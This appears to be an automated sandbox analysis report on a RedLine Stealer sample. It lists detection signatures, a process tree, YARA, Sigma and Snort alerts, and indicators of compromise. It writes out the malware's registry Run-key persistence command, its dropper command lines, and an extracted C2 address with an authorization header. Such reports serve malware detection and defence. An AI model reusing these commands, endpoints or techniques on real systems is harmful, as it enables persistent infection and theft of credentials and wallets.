Edit tour

Windows Analysis Report
SysrI6zSkJ.exe

Overview

General Information

Sample name:	SysrI6zSkJ.exe renamed because original name is a hash value
Original sample name:	2e501240ec8b9aab46d76a6504e44882.exe
Analysis ID:	1402122
MD5:	2e501240ec8b9aab46d76a6504e44882
SHA1:	1a97d7662e66502faa5a7718565bb362eb6f27bd
SHA256:	582cf0470ba0d2c2ef2c3fee83442db0e345656f7d7c46ee5b613998fdd6ee00
Tags:	exeRedLineStealer
Infos:

Detection

RedLine

Score:	76
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected RedLine Stealer

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Queries memory information (via WMI often done to detect virtual machines)

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Queries sensitive physical memory information (via WMI, Win32_PhysicalMemory, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sigma detected: WScript or CScript Dropper

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Uses cmd line tools excessively to alter registry or file data

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Yara detected EXE embedded in BAT file

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to launch a process as a different user

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a DirectInput object (often for capturing keystrokes)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found WSH timer for Javascript or VBS script (likely evasive script)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

Installs a raw input device (often for capturing keystrokes)

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

PE file does not import any functions

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Direct Autorun Keys Modification

Sigma detected: Potential Persistence Attempt Via Run Keys Using Reg.EXE

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Tries to load missing DLLs

Uses code obfuscation techniques (call, push, ret)

Uses reg.exe to modify the Windows registry

Uses the system / local time for branch decision (may execute only at specific dates)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

SysrI6zSkJ.exe (PID: 7432 cmdline: C:\Users\user\Desktop\SysrI6zSkJ.exe MD5: 2E501240EC8B9AAB46D76A6504E44882)

reg.exe (PID: 7464 cmdline: REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /V Repository /t REG_SZ /F /D C:\ProgramData\WinNet\gg.exe MD5: 227F63E1D9008B36BDBCC4B397780BE4)

conhost.exe (PID: 7480 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7472 cmdline: cmd.exe /c C:\ProgramData\WinNet\embedded.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7496 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

embedded.exe (PID: 7592 cmdline: C:\ProgramData\WinNet\embedded.exe MD5: DB408CB75C1D0DA769C19A6CBBE60D87)

reg.exe (PID: 7704 cmdline: REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /V Repository /t REG_SZ /F /D C:\ProgramData\WinNet\gg.exe MD5: 227F63E1D9008B36BDBCC4B397780BE4)

conhost.exe (PID: 7724 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7712 cmdline: cmd.exe /c C:\ProgramData\WinNet\AnyDesk.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7744 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

AnyDesk.exe (PID: 7872 cmdline: C:\ProgramData\WinNet\AnyDesk.exe MD5: A21768190F3B9FEAE33AAEF660CB7A83)

AnyDesk.exe (PID: 8108 cmdline: "C:\ProgramData\WinNet\AnyDesk.exe" --local-service MD5: A21768190F3B9FEAE33AAEF660CB7A83)

AnyDesk.exe (PID: 8116 cmdline: "C:\ProgramData\WinNet\AnyDesk.exe" --local-control MD5: A21768190F3B9FEAE33AAEF660CB7A83)

cmd.exe (PID: 7736 cmdline: cmd.exe /c C:\ProgramData\WinNet\p.vbs MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7768 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wscript.exe (PID: 7928 cmdline: "C:\Windows\System32\WScript.exe" "C:\ProgramData\WinNet\p.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

gg.exe (PID: 8008 cmdline: "C:\ProgramData\WinNet\gg.exe" MD5: 20AB063F206EB8115FDE1479E05C245E)

cmd.exe (PID: 7488 cmdline: cmd.exe /c C:\ProgramData\WinNet\p.vbs MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7524 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wscript.exe (PID: 7648 cmdline: "C:\Windows\System32\WScript.exe" "C:\ProgramData\WinNet\p.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

gg.exe (PID: 7788 cmdline: "C:\ProgramData\WinNet\gg.exe" MD5: 20AB063F206EB8115FDE1479E05C245E)

gg.exe (PID: 7500 cmdline: "C:\ProgramData\WinNet\gg.exe" MD5: 20AB063F206EB8115FDE1479E05C245E)

gg.exe (PID: 7976 cmdline: "C:\ProgramData\WinNet\gg.exe" MD5: 20AB063F206EB8115FDE1479E05C245E)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
RedLine Stealer	RedLine Stealer is a malware available on underground forums for sale apparently as standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://apophis133.medium.com/redline-technical-analysis-report-5034e16ad152 https://asec.ahnlab.com/en/30445/ https://asec.ahnlab.com/en/35981/ https://asec.ahnlab.com/ko/25837/	https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer

Malware Configuration

Threatname: RedLine

{"C2 url": "67.203.7.148:2909", "Authorization Header": "1c494bfb642e6b40ce5b6d4207377297"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
SysrI6zSkJ.exe	JoeSecurity_EXEembeddedinBATfile	Yara detected EXE embedded in BAT file	Joe Security

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_RedLine_1	Yara detected RedLine Stealer	Joe Security
dump.pcap	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\ProgramData\WinNet\gg.exe	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
C:\ProgramData\WinNet\embedded.exe	JoeSecurity_EXEembeddedinBATfile	Yara detected EXE embedded in BAT file	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.2259823166.000001589E200000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000007.00000002.3477005535.0000022F0BB80000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000017.00000002.2127671016.0000000002895000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000017.00000002.2127671016.0000000002895000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000015.00000002.2056075495.0000000003165000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000015.00000002.2056075495.0000000003165000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000000F.00000000.1644111512.0000000000D62000.00000002.00000001.01000000.00000007.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000000F.00000002.1905680590.0000000003616000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: SysrI6zSkJ.exe PID: 7432	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: embedded.exe PID: 7592	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: gg.exe PID: 7788	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: gg.exe PID: 7788	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: gg.exe PID: 8008	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: gg.exe PID: 8008	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Click to see the 13 entries

Unpacked PEs

Source	Rule	Description	Author
15.0.gg.exe.d60000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
7.2.embedded.exe.22f0bb80098.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
7.2.embedded.exe.22f0bb80098.0.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.3.SysrI6zSkJ.exe.1589e200098.1.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.3.SysrI6zSkJ.exe.1589e200098.1.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security

Sigma Signatures

System Summary

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\ProgramData\WinNet\p.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\ProgramData\WinNet\p.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: cmd.exe /c C:\ProgramData\WinNet\p.vbs, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7488, ParentProcessName: cmd.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\ProgramData\WinNet\p.vbs" , ProcessId: 7648, ProcessName: wscript.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\ProgramData\WinNet\gg.exe, EventID: 13, EventType: SetValue, Image: C:\Windows\System32\reg.exe, ProcessId: 7464, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Repository

Sigma detected: Direct Autorun Keys Modification

Source: Process started

Author: Victor Sergeev, Daniil Yugoslavskiy, oscd.community: Data: Command: REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /V Repository /t REG_SZ /F /D C:\ProgramData\WinNet\gg.exe, CommandLine: REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /V Repository /t REG_SZ /F /D C:\ProgramData\WinNet\gg.exe, CommandLine|base64offset|contains: DA, Image: C:\Windows\System32\reg.exe, NewProcessName: C:\Windows\System32\reg.exe, OriginalFileName: C:\Windows\System32\reg.exe, ParentCommandLine: C:\Users\user\Desktop\SysrI6zSkJ.exe, ParentImage: C:\Users\user\Desktop\SysrI6zSkJ.exe, ParentProcessId: 7432, ParentProcessName: SysrI6zSkJ.exe, ProcessCommandLine: REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /V Repository /t REG_SZ /F /D C:\ProgramData\WinNet\gg.exe, ProcessId: 7464, ProcessName: reg.exe

Sigma detected: Potential Persistence Attempt Via Run Keys Using Reg.EXE

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /V Repository /t REG_SZ /F /D C:\ProgramData\WinNet\gg.exe, CommandLine: REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /V Repository /t REG_SZ /F /D C:\ProgramData\WinNet\gg.exe, CommandLine|base64offset|contains: DA, Image: C:\Windows\System32\reg.exe, NewProcessName: C:\Windows\System32\reg.exe, OriginalFileName: C:\Windows\System32\reg.exe, ParentCommandLine: C:\Users\user\Desktop\SysrI6zSkJ.exe, ParentImage: C:\Users\user\Desktop\SysrI6zSkJ.exe, ParentProcessId: 7432, ParentProcessName: SysrI6zSkJ.exe, ProcessCommandLine: REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /V Repository /t REG_SZ /F /D C:\ProgramData\WinNet\gg.exe, ProcessId: 7464, ProcessName: reg.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\ProgramData\WinNet\p.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\ProgramData\WinNet\p.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: cmd.exe /c C:\ProgramData\WinNet\p.vbs, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7488, ParentProcessName: cmd.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\ProgramData\WinNet\p.vbs" , ProcessId: 7648, ProcessName: wscript.exe

Snort Signatures

ET TROJAN Redline Stealer/MetaStealer Family Activity (Response) - Source IP: 67.203.7.148 - Destination IP: 192.168.2.4

Timestamp:	03/03/24-13:32:21.412111
SID:	2046056
Source Port:	2909
Destination Port:	49738
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Redline Stealer TCP CnC Activity - Source IP: 192.168.2.4 - Destination IP: 67.203.7.148

Timestamp:	03/03/24-13:32:12.962499
SID:	2043231
Source Port:	49730
Destination Port:	2909
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Redline Stealer/MetaStealer Family Activity (Response) - Source IP: 67.203.7.148 - Destination IP: 192.168.2.4

Timestamp:	03/03/24-13:32:05.128395
SID:	2046056
Source Port:	2909
Destination Port:	49729
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Redline Stealer/MetaStealer Family Activity (Response) - Source IP: 67.203.7.148 - Destination IP: 192.168.2.4

Timestamp:	03/03/24-13:32:05.256436
SID:	2046056
Source Port:	2909
Destination Port:	49730
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer/MetaStealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.4 - Destination IP: 67.203.7.148

Timestamp:	03/03/24-13:31:59.867235
SID:	2046045
Source Port:	49730
Destination Port:	2909
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer/MetaStealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.4 - Destination IP: 67.203.7.148

Timestamp:	03/03/24-13:31:59.719964
SID:	2046045
Source Port:	49729
Destination Port:	2909
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Redline Stealer TCP CnC - Id1Response - Source IP: 67.203.7.148 - Destination IP: 192.168.2.4

Timestamp:	03/03/24-13:31:59.883479
SID:	2043234
Source Port:	2909
Destination Port:	49729
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Redline Stealer TCP CnC - Id1Response - Source IP: 67.203.7.148 - Destination IP: 192.168.2.4

Timestamp:	03/03/24-13:32:00.028789
SID:	2043234
Source Port:	2909
Destination Port:	49730
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer/MetaStealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.4 - Destination IP: 67.203.7.148

Timestamp:	03/03/24-13:32:16.020247
SID:	2046045
Source Port:	49738
Destination Port:	2909
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Redline Stealer TCP CnC - Id1Response - Source IP: 67.203.7.148 - Destination IP: 192.168.2.4

Timestamp:	03/03/24-13:32:16.182547
SID:	2043234
Source Port:	2909
Destination Port:	49738
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Redline Stealer TCP CnC Activity - Source IP: 192.168.2.4 - Destination IP: 67.203.7.148

Timestamp:	03/03/24-13:32:10.977333
SID:	2043231
Source Port:	49729
Destination Port:	2909
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Redline Stealer TCP CnC Activity - Source IP: 192.168.2.4 - Destination IP: 67.203.7.148

Timestamp:	03/03/24-13:32:26.512386
SID:	2043231
Source Port:	49738
Destination Port:	2909
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 15.0.gg.exe.d60000.0.unpack

Malware Configuration Extractor: RedLine {"C2 url": "67.203.7.148:2909", "Authorization Header": "1c494bfb642e6b40ce5b6d4207377297"}

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\WinNet\embedded.exe	ReversingLabs: Detection: 58%
Source: C:\ProgramData\WinNet\gg.exe	ReversingLabs: Detection: 71%

Multi AV Scanner detection for submitted file

Source: SysrI6zSkJ.exe

ReversingLabs: Detection: 39%

Source: unknown	HTTPS traffic detected: 37.59.29.33:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 64.31.23.30:443 -> 192.168.2.4:49733 version: TLS 1.2

Source: SysrI6zSkJ.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\b\build\slave\win\build\src\out\Release\gcapi_dll.dll.pdbGCTL source: AnyDesk.exe, 00000013.00000003.1980331395.0000000004F61000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\anyadmin\Documents\anydesk\release\dwm_dda-64\privacy_feature\privacy_feature.pdb source: AnyDesk.exe, 00000010.00000003.1659830296.0000000003B83000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\anyadmin\Documents\anydesk\release\dwm_dda-64\win_dwm\win_dwm.pdb source: AnyDesk.exe, 00000010.00000003.1659830296.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\b\s\w\ir\x\w\sdk\out\ReleaseX64\dart_precompiled_runtime_product.exe.pdb source: SysrI6zSkJ.exe, 00000000.00000003.2258580120.000001589FD80000.00000004.00001000.00020000.00000000.sdmp, SysrI6zSkJ.exe, 00000000.00000000.1627710192.00007FF75320E000.00000002.00000001.01000000.00000003.sdmp, SysrI6zSkJ.exe, 00000000.00000002.3480634743.00007FF75320E000.00000002.00000001.01000000.00000003.sdmp, embedded.exe, 00000007.00000002.3479713989.00007FF79F51E000.00000002.00000001.01000000.00000004.sdmp, embedded.exe, 00000007.00000000.1635812849.00007FF79F51E000.00000002.00000001.01000000.00000004.sdmp
Source:	Binary string: C:\Users\anyadmin\Documents\anydesk\release\app-32\win_app\win_app.pdb source: AnyDesk.exe, 00000010.00000003.1659830296.0000000003451000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000013.00000002.3477631483.00000000016E9000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: C:\Users\anyadmin\Documents\anydesk\release\dwm_dda-32\win_dwm\win_dwm.pdb source: AnyDesk.exe, 00000010.00000003.1659830296.0000000003451000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\b\build\slave\win\build\src\out\Release\gcapi_dll.dll.pdb source: AnyDesk.exe, 00000013.00000003.1980331395.0000000004F61000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: SAS.pdbR source: AnyDesk.exe, 00000010.00000003.1659830296.0000000003451000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\anyadmin\Documents\anydesk\release\dwm_dda-32\privacy_feature\privacy_feature.pdb source: AnyDesk.exe, 00000010.00000003.1659830296.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: SAS.pdb source: AnyDesk.exe, 00000010.00000003.1659830296.0000000003451000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\anyadmin\Documents\anydesk\release\app-32\win_loader\AnyDesk.pdb source: AnyDesk.exe, 00000010.00000000.1646823942.0000000001EE3000.00000002.00000001.01000000.00000009.sdmp, AnyDesk.exe, 00000013.00000002.3478942451.0000000001EE3000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: C:\b\s\w\ir\x\w\sdk\out\ReleaseX64\dart_precompiled_runtime_product.exe.pdbd source: SysrI6zSkJ.exe, 00000000.00000003.2258580120.000001589FD80000.00000004.00001000.00020000.00000000.sdmp, SysrI6zSkJ.exe, 00000000.00000000.1627710192.00007FF75320E000.00000002.00000001.01000000.00000003.sdmp, SysrI6zSkJ.exe, 00000000.00000002.3480634743.00007FF75320E000.00000002.00000001.01000000.00000003.sdmp, embedded.exe, 00000007.00000002.3479713989.00007FF79F51E000.00000002.00000001.01000000.00000004.sdmp, embedded.exe, 00000007.00000000.1635812849.00007FF79F51E000.00000002.00000001.01000000.00000004.sdmp

Source: C:\ProgramData\WinNet\gg.exe	Code function: 4x nop then jmp 096A8C82h	15_2_096A8860
Source: C:\ProgramData\WinNet\gg.exe	Code function: 4x nop then jmp 096A9102h	15_2_096A8860
Source: C:\ProgramData\WinNet\gg.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	15_2_096A94C8
Source: C:\ProgramData\WinNet\gg.exe	Code function: 4x nop then jmp 096A68B5h	15_2_096A64E8
Source: C:\ProgramData\WinNet\gg.exe	Code function: 4x nop then jmp 096A68B5h	15_2_096A64D8
Source: C:\ProgramData\WinNet\gg.exe	Code function: 4x nop then jmp 096A7F57h	15_2_096A7F3F
Source: C:\ProgramData\WinNet\gg.exe	Code function: 4x nop then jmp 0617C21Dh	18_2_0617BF58
Source: C:\ProgramData\WinNet\gg.exe	Code function: 4x nop then jmp 0617F2E0h	18_2_0617EDE8
Source: C:\ProgramData\WinNet\gg.exe	Code function: 4x nop then jmp 0617CA1Fh	18_2_0617C2C0
Source: C:\ProgramData\WinNet\gg.exe	Code function: 4x nop then jmp 061783DCh	18_2_0617811B
Source: C:\ProgramData\WinNet\gg.exe	Code function: 4x nop then inc dword ptr [ebp-20h]	18_2_06172681
Source: C:\ProgramData\WinNet\gg.exe	Code function: 4x nop then jmp 0617AD8Ah	18_2_0617AD72
Source: C:\ProgramData\WinNet\gg.exe	Code function: 4x nop then inc dword ptr [ebp-20h]	18_2_061723B0
Source: C:\ProgramData\WinNet\gg.exe	Code function: 4x nop then jmp 071A5A1Bh	18_2_071A57E8
Source: C:\ProgramData\WinNet\gg.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	18_2_071A6288
Source: C:\ProgramData\WinNet\gg.exe	Code function: 4x nop then jmp 071A7C55h	18_2_071A7C34
Source: C:\ProgramData\WinNet\gg.exe	Code function: 4x nop then jmp 071A6D55h	18_2_071A6978
Source: C:\ProgramData\WinNet\gg.exe	Code function: 4x nop then jmp 079B9883h	21_2_079B9650
Source: C:\ProgramData\WinNet\gg.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	21_2_079B9F30
Source: C:\ProgramData\WinNet\gg.exe	Code function: 4x nop then inc dword ptr [ebp-20h]	21_2_079B2680
Source: C:\ProgramData\WinNet\gg.exe	Code function: 4x nop then inc dword ptr [ebp-20h]	21_2_079B23B0
Source: C:\ProgramData\WinNet\gg.exe	Code function: 4x nop then jmp 07BF7C9Fh	21_2_07BF7540
Source: C:\ProgramData\WinNet\gg.exe	Code function: 4x nop then jmp 07BFA968h	21_2_07BFA470
Source: C:\ProgramData\WinNet\gg.exe	Code function: 4x nop then jmp 07BF749Dh	21_2_07BF71D8
Source: C:\ProgramData\WinNet\gg.exe	Code function: 4x nop then jmp 07BF50D3h	21_2_07BF50BB
Source: C:\ProgramData\WinNet\gg.exe	Code function: 4x nop then jmp 09657012h	21_2_09656BF0
Source: C:\ProgramData\WinNet\gg.exe	Code function: 4x nop then jmp 09657492h	21_2_09656BF0
Source: C:\ProgramData\WinNet\gg.exe	Code function: 4x nop then jmp 09658791h	21_2_096584D1
Source: C:\ProgramData\WinNet\gg.exe	Code function: 4x nop then jmp 0965619Dh	21_2_0965617C
Source: C:\ProgramData\WinNet\gg.exe	Code function: 4x nop then jmp 0965529Dh	21_2_09654EC0
Source: C:\ProgramData\WinNet\gg.exe	Code function: 4x nop then jmp 05A2D80Fh	23_2_05A2D0B0
Source: C:\ProgramData\WinNet\gg.exe	Code function: 4x nop then jmp 05A2FD53h	23_2_05A2FB20
Source: C:\ProgramData\WinNet\gg.exe	Code function: 4x nop then inc dword ptr [ebp-20h]	23_2_05A22680
Source: C:\ProgramData\WinNet\gg.exe	Code function: 4x nop then jmp 05A2A1EBh	23_2_05A2A1D3
Source: C:\ProgramData\WinNet\gg.exe	Code function: 4x nop then inc dword ptr [ebp-20h]	23_2_05A223B0
Source: C:\ProgramData\WinNet\gg.exe	Code function: 4x nop then jmp 05A2DEA5h	23_2_05A2DAC9
Source: C:\ProgramData\WinNet\gg.exe	Code function: 4x nop then jmp 062856A0h	23_2_062851A8
Source: C:\ProgramData\WinNet\gg.exe	Code function: 4x nop then jmp 0628329Bh	23_2_06282FD8
Source: C:\ProgramData\WinNet\gg.exe	Code function: 4x nop then jmp 06280F43h	23_2_06280C80
Source: C:\ProgramData\WinNet\gg.exe	Code function: 4x nop then jmp 06282445h	23_2_06282424

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer/MetaStealer Family Related (MC-NMF Authorization) 192.168.2.4:49729 -> 67.203.7.148:2909
Source: Traffic	Snort IDS: 2043231 ET TROJAN Redline Stealer TCP CnC Activity 192.168.2.4:49729 -> 67.203.7.148:2909
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer/MetaStealer Family Related (MC-NMF Authorization) 192.168.2.4:49730 -> 67.203.7.148:2909
Source: Traffic	Snort IDS: 2043231 ET TROJAN Redline Stealer TCP CnC Activity 192.168.2.4:49730 -> 67.203.7.148:2909
Source: Traffic	Snort IDS: 2043234 ET MALWARE Redline Stealer TCP CnC - Id1Response 67.203.7.148:2909 -> 192.168.2.4:49729
Source: Traffic	Snort IDS: 2043234 ET MALWARE Redline Stealer TCP CnC - Id1Response 67.203.7.148:2909 -> 192.168.2.4:49730
Source: Traffic	Snort IDS: 2046056 ET TROJAN Redline Stealer/MetaStealer Family Activity (Response) 67.203.7.148:2909 -> 192.168.2.4:49729
Source: Traffic	Snort IDS: 2046056 ET TROJAN Redline Stealer/MetaStealer Family Activity (Response) 67.203.7.148:2909 -> 192.168.2.4:49730
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer/MetaStealer Family Related (MC-NMF Authorization) 192.168.2.4:49738 -> 67.203.7.148:2909
